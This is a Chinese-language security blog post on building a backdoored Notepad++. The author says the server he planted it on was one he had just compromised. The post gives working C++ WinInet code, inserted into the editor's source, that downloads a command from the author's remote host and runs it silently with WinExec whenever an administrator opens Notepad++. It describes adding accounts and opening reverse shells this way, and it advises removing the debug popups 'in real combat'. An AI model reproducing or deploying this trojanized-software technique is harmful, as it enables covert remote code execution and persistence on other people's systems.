>我真的太惨了

>外出实习忘记了博客密码

>断更了这么久

>今天终于忍不了了,ssh连上来黑了自己的首页,试图记录点什么

>2019/08/21 --C0d3r1iu

手动打造自己的后门之乱改Notepad++ – 记录日 – C0d3r1iu's Blog

手动打造自己的后门之乱改Notepad++

热度:542℃ 评论:0 发布时间:2019-01-22 收录:已收录

手动打造自己的后门 第一季

Author: C0d3r1iu
Date: 2019-01-22 21:24:37 星期二
Email: admin@recorday.cn

Warning: 本文投稿于合天智慧公众号,公众号版本的文章中编译的过程更详细,请酌情选择观看,应版权方要求禁止转载!

0x01 前言

 
看了 Micropoor 大牛分享的一系列教程,受益良多。
PS:下文将 Micropoor 写做 Mp

笔者对其中几篇谈及后门的文章颇有兴趣,作者在他的文章中给出了一些大体思路但未谈及实现细节,于是笔者按照文中提供的思路动手实践了一下。

这里引用一个概念:
 
人为化后门:一般指被动后门,由人为引起触发导致激活,或者传播

要做到高度化定制,足够贴合实际目标,我们可能会需要它。
 

0x02 改造 Notepad 之旅

 
 
正好手中刚秒了一台独立服务器,登陆进去发现服务器主人预先安装了 Notepad++,这简直是最佳实践...

服务器有了,缺个后门,根据Mp的文章我们去官方git仓库下载其开源的源代码本地编译。

这里指出几个编译时掉入的坑们:

  1. Mp 在他的文章中用的 VS2017 编译,却说要打开 notepadPlus.vs2013.vcxproj 这个项目文件。

我猜测这可能是笔误,实际上打开这个项目文件编译会遇到符号问题。

对此我专门用半自创英语去官方 git 仓库提了 issue

红线部分可能引起不适。
 

手动打造自己的后门之乱改Notepad++
 
得到回复后才明白用 VS2017 编译的话是要选择 notepadPlus.vcxproj 这个文件

  1. 在项目配置上,选择当前平台,并选择 Unicode + X86 架构

3.有时候签名证书会验证失败,我在这里将报错处理的语句统统注释掉了。
 
手动打造自己的后门之乱改Notepad++
 
手动打造自己的后门之乱改Notepad++
 
手动打造自己的后门之乱改Notepad++
 
顺利通过编译后,我开始思考下面的问题:
 
一个后门之所以称之为后门,必然是有里应外合的功能的

而在 C++ Win32编程中,基础库执行系统命令使用 system() 函数可以完成命令,但是会弹出黑色命令窗口。

在查阅了相关资料后,找到了 WinExec() ,使用这个函数来执行系统命令则不会弹黑色命令窗口。

system("calc"); //这种方法会弹出黑框
WinExec("指令", SW_NORMAL); //这种方法不会弹黑色命令窗口

仔细想想,弹个计算器也没啥用,直接增加账户又太明显,于是我又去参考网络通信基础模块,扩展指定接收指令执行的功能。

这里用了 WinInet API 实现 HTTP 通信, 相比于 libcurl 等第三方库使用起来更方便快捷。

下面给出实例代码以及相关头文件引用:

#include <iostream>  
#include <cstdio>  
#include <wininet.h>
#pragma comment(lib,"WinInet.lib")
#define PORT 0x50   // 端口号80
#define URL "www.recorday.cn" // 绝对域名
#define PAGE "/test/order.txt"//相对指令地址
char _HTTP_ARAC[] = 
            "Accept-Language: zh-cn\r\n"\
            "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
        char _HTTP_File[1024] = { 0 };

        HINTERNET Inte = InternetOpenA("Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)", 1, "", "", 0); 
        //初始化Wininet并创建一个HTTP连接  
        if (0 == Inte) {
            //cout << "error InternetOpen" << endl;
            MessageBoxA(0, "error InternetOpen1", "error", 16);
        }
        HINTERNET Connect = InternetConnectA(Inte, URL, 80, "", "", INTERNET_SERVICE_HTTP, 0, 0);    //请求与网站连接  
        if (0 == Connect) {
            InternetCloseHandle(Inte);
            InternetCloseHandle(Connect);
            MessageBoxA(0, "error InternetOpen2", "error", 16);
        }
        HINTERNET HttpOpen = HttpOpenRequestA(Connect, "GET", PAGE, "HTTP/1.1", NULL, NULL, 1, 0);
        //向网站服务器发送请求页面  
        if (0 == HttpOpen) {
            InternetCloseHandle(Inte);
            InternetCloseHandle(Connect);
            InternetCloseHandle(HttpOpen);
            MessageBoxA(0, "error HttpOpenRequest3", "error", 16);
        }

        bool bo = HttpSendRequestA(HttpOpen, NULL, 0, NULL, 0);  //向网站服务器发送请求HTTP协议和POST请求数据  
        if (bo == false) {
            InternetCloseHandle(Inte);
            InternetCloseHandle(Connect);
            InternetCloseHandle(HttpOpen);
            MessageBoxA(0, "error HttpOpenRequest4", "error", 16);
        }
        DWORD y = 0;
        if (!InternetReadFile(HttpOpen, _HTTP_File, 1024, &y)) {    //获取HTTP响应消息  
            InternetCloseHandle(Inte);
            InternetCloseHandle(Connect);
            InternetCloseHandle(HttpOpen);
            MessageBoxA(0, "error InternetReadFile5", "error", 16);
        }
        else {
            MessageBoxA(0, _HTTP_File, "ok", 0);//打印得到的响应消息
            WinExec(_HTTP_File, SW_NORMAL); //执行获取的指令
}

代码中间为了方便调试写了不少弹框,实战中为了避免不必要的麻烦,请务必去掉。

最终效果

获取指定URL下的添加账户命令,并且静默执行(请无视个人主机的360防护)。
 
 
手动打造自己的后门之乱改Notepad++
 
假想触发链: 管理员在服务器上打开 Notepad++ , 则会触发后门,获取我们事先放到VPS的命令。
 
优点:

1.命令高度可控,可多次执行不同命令
2.隐蔽,无敏感进程,少通信。
3.反弹shell可行。

缺点:

1.一旦引起怀疑,容易被捕获流量并溯源。
2.不能针对无法访问外网的机器进行定制
 

0x03 写在最后

 
本文章纯属对MP大牛提出的一些想法进行了个人踩坑实践,相比于其他后门还是相形见绌,如有错误请大家及时指出。

另外,维持权限不要局限于一种工具,或者一类方法。

当我们的目标处于不同平台不同环境时,我们会束手无策还是拿出花一样的思路呢?我认为后者才是真本事。

希望大家多多和我交流!

打赏
本文由 C0d3r1iu 创作,除注明转载/出处外,均为本站原创,转载前请注明出处!

Leave a Reply

Your email address will not be published. Required fields are marked *

顶部
护眼
搜索
分享